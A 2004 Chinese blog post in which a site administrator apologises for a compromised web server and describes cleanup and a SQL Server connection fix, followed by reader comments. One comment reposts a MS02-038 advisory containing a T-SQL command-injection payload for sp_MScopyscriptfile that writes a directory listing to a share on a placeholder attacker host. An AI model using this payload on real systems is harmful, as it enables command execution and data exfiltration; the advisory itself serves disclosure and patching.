向大家致歉

       博客园自推出以来,我一直忙于修改程序,没时间管理Web服务器,对WEB服务器的安全也就缺乏管理,我只是用Windows update安装了所有操作系统的补丁,SQL Server 2000安装了SP3a,上次sa密码被改,就已经提醒我,Web服务器顾存在安全问题,但由于时间问题,我没有仔细检查WEB服务器的安全,我只是更改了sa的密码,今天我检查Web服务器时,发现服务器被攻击了,而且被远程控制了,服务器被安装了Serv-U FTP、Mulez script 、Remote Administrator软件,并且有很多scansql进程,我当时心里真的很难过,我觉得对不起大家,没有把博客园管理好,在这里,我深表歉意!
       我暂时处理方法是:将这些黑客软件全删除了,并更改了管理员密码。我用扫描软件扫描了Web服务器,只发现了两个漏洞( ms-sql-s (1433/tcp)、microsoft-ds (445/tcp)),对于第一个漏洞我在微软网站没找到下载的地方(Q316333),对于每二个漏洞已经按照微软网站上的方法更改了本地安全策略。我删除了所有多余的软件及组件,并关闭了FTP服务。
       为了保证SQL Server2000的安全,我将验证方式改为"仅Windows",程序中连接字符串也作了修改。可是运行程序时却出现“SQL Server 不存在或访问被拒绝”的错误,由于这个问题,造成博客园有一段时间不能访问,我深表歉意。后来,我将连接字符串中的"Data Source=localhost"改为“Data Source=计算机名",问题就解决了。
       为了保证博客园的正常运行,我会全面而仔细地检查web服务器的安全,并尽快采取更有力的措施保证Web服务器的安全。
    大家有什么好的建议与安全方案,请献计献策!
    博客园的数据每天都在备份,大家不要担心数据的丢失!
       建设好博客园需要大家的支持与帮助!
posted @ 2004-02-02 11:59 dudu 阅读(3295) 评论(12)  编辑 收藏 网摘

  回复  引用  查看    
#1楼 2004-02-02 12:02 | Hover      
微软安全公告MS02-038:SQL Server 2000允许用户执行任意指令/非法提升用户权限

涉及程序:

Microsoft SQL Server 2000, MSDE 2000

描述:

SQL Server 2000允许用户执行任意指令/非法提升用户权限

详细:

微软发布累积补丁包(Q316333),不仅包括以前 SQL Server 2000 所有补丁,还包括了最近被发现的影响SQL Server 2000 和 MSDE 2000 的两个缺陷。这两个缺陷都允许攻击者在目标服务器上执行任意代码或指令。

- 在several Database Consistency Checkers (DBCC)中存在一个缓冲溢出缺陷。DBCC(数据库一致性检查)是 SQL Server 2000 自带的一个命令控制程序,它提供了一些命令用于检查数据库的逻辑和物理一致性。提供的这些命令大部分只能被 sysadmin 使用,一些可供db_owner 和 db_ddladmin 使用。但是攻击者可利用DBCC存在的这个缓冲溢出缺陷,在SQL Server 服务的context中运行任意代码,从而获得对服务器上所有数据库的完全控制权限。

- 在数据库复制的两个存储进程中存在SQL injection 漏洞。其中一个存储进程仅能被 db_owner 运行,另外一个因为权限配置错误,能被任何可交互登陆到服务器上的用户使用。攻击者如果成功利用此缺陷的话,将能在服务器上运行操作系统命令。但是这将受到另外许多权限问题的限制。

用户如果注意以下几点将能控制这个缺陷产生的影响:

----------------------------------------------------------------------

在DBCC(数据库一致性检查)中的缓冲溢出缺陷:

- 除 sysadmin 外,只有 db_owner 和 db_ddladmin 能有使用DBCC提供的命令的权限,因此不要将 db_owner 和 db_ddladmin 这个角色赋予不信任用户;

- 这个缺陷允许攻击者去提升自己的权限,但是如果SQL被作为一个 normal domain account 来安装的话,将能把这种权限的提升限制到最小。

----------------------------------------------------------------------

数据库复制的两个存储进程中存在SQL injection 漏洞:

- 攻击者要想利用此缺陷至少必须能够交互式登陆到服务器上去。但是最好的还是不要给不信任用户这样的权限;

- 如果仅能简单地运行受影响的存储进程,攻击者是无法利用此缺陷的。只有在管理员将代理服务器帐号击活的前提下才能利用此缺陷,而且在缺省情况下,这个帐号是被禁止的。

- 即使代理服务器帐号被击活了,也只有攻击者同时是一个域用户(domain user)才能利用此缺陷进行攻击。

受影响软件:

Microsoft SQL Server 2000, Microsoft Desktop Engine(MSDE) 2000

风险等级:

============

- Internet systems: 中等

- Intranet systems: 中等

- Client systems: 没有

攻击方法:

declare @command varchar(100)

declare @scripfile varchar(200)

set concat_null_yields_null off

select @command='dir c:\ >

"\\attackerip\share\dir.txt"'

select @scripfile='c:\autoexec.bat > nul" | ' +

@command + ' | rd "'

exec sp_MScopyscriptfile @scripfile ,''

解决方案:

CNNS 建议用户立即下载补丁:

SQL Server 2000:

http://support.microsoft.com/support/misc/kblookup.asp?id=Q316333

附加信息:

MS02-038 / Q316333

CAN-2002-0085

相关站点:

http://www.microsoft.com/technet/security/bulletin/MS02-038.asp


  回复  引用    
#2楼 2004-02-02 12:27 | dudu [未注册用户]
  在发表这个文章时,我担心有些网友会不会因为对博客园的安全缺乏信心,而离开博客园,但博客园是属于博客园中所有博客的,我有责任将博客园的运行情况公布给大家!希望大家能理解与支持。
  回复  引用  查看    
#3楼 2004-02-02 12:35 | hsb0307      
dudu 辛苦了,祝福博客园。
  回复  引用  查看    
#4楼 2004-02-02 16:46 | huobazi      
感谢~
  回复  引用    
#5楼 2004-12-26 12:17 | cwwlhx [未注册用户]
请问更改了验证方式后,应该如何写连接字符串?

先谢谢啦!
  回复  引用    
#6楼 2005-03-12 16:42 | 青蛙王子 [未注册用户]
你真厉害,我很佩服你,我自己在学ASP。Net遇到一个让我郁闷的简直要自杀的问题,就是那个连接的问题,调试时老是出现“SQL Server 不存在或访问被拒绝”的错误,真让我郁闷死了,查了一个下午,SQL Server重装,也无济于事,最好找到你的这个了,把localhost改为我的计算机名后也好了,真是让人欣慰,谢谢你啦。真是高人啊。
以后我可以还会遇到很多问题,望不吝赐教。
fly_qj@163.com
  回复  引用    
#7楼 2005-04-18 09:42 | 鼎文 [未注册用户]
我估计是装了某些补丁之后造成localhost访问被拒绝!
dudu你真是太了不起了,连这个也能试出来,我玩asp和.net好歹也n年了,可是就这个连接问题也郁闷了好些天。
我还发现一个问题:用windows2003装sql2000之后,其他WEB服务器无法连接该数据库,一直出现"用户sa登录失败。未与信任SQL Server连接相关联",可是我的sa口令是正确的,连接字符串也没有错误,sql安装的时候就是选择sql和windows混合登录模式。我后来没辙了,只好老老实实地重新安装windows2000+sql2000。
请问有更好的办法吗?差点想改为mysql得了。
交流请发到这里:sdiwencn@yahoo.com.cn
  回复  引用    
#8楼 2005-04-25 08:59 | 寒雨 [未注册用户]
我也遇到了这个问题, 本地(local)、计算机名、IP地址都可以连接,就是其它服务器和工作站就是不能连接,网上的文章也看了不了,但查来查去还是没法解决。重装也不行,了是“SQL server不存在或访问被拒绝。”不过后来试了一下用命名管理道却可以连接。但我应用程序TM的就不是用ODBC连接的。叫我如何是好? 恳请各位大哥提点意见。
  回复  引用    
#9楼 2005-04-26 14:48 | 鞋子 [未注册用户]
如有用到组件的话,修改注册表: LOCAL_MACHINE/SOFTEWARE/MICROSOFT/MSDTC 的 turnoffRpcSecurity的值改为1,(默认为0)

  回复  引用    
#10楼 2005-04-26 15:18 | 鞋子 [未注册用户]
如果没有那个键值就直接HKEY_LOCAL_MACHINE\Software\Microsoft\MSDTC。
添加一个 DWORD 值 TurnOffRpcSecurity,值数据为 1。
  回复  引用    
#11楼 2005-05-25 16:53 | ocean [未注册用户]
Data Source=(local)而不是localhost,localhost是java的写法
  回复  引用  查看    
#12楼 2005-09-06 15:47 | 浪子      
估计还有黑客的隐藏帐号吧?要消灭干净!!!一个不留




标题  
姓名  
主页
Email (博主才能看到) 
验证码 *  看不清,换一张 [登录][注册]
内容(请不要发表任何与政治相关的内容)  
  登录  使用高级评论  新用户注册  返回页首  恢复上次提交      
Google站内搜索

China-pub 计算机图书网上专卖店!6.5万品种 2-8折!
近千种 9-95 新二手计算图书火热销售中!
开发者征途系统新作:《设计模式——基于C#的工程化实现及扩展》

相关文章:

相关链接: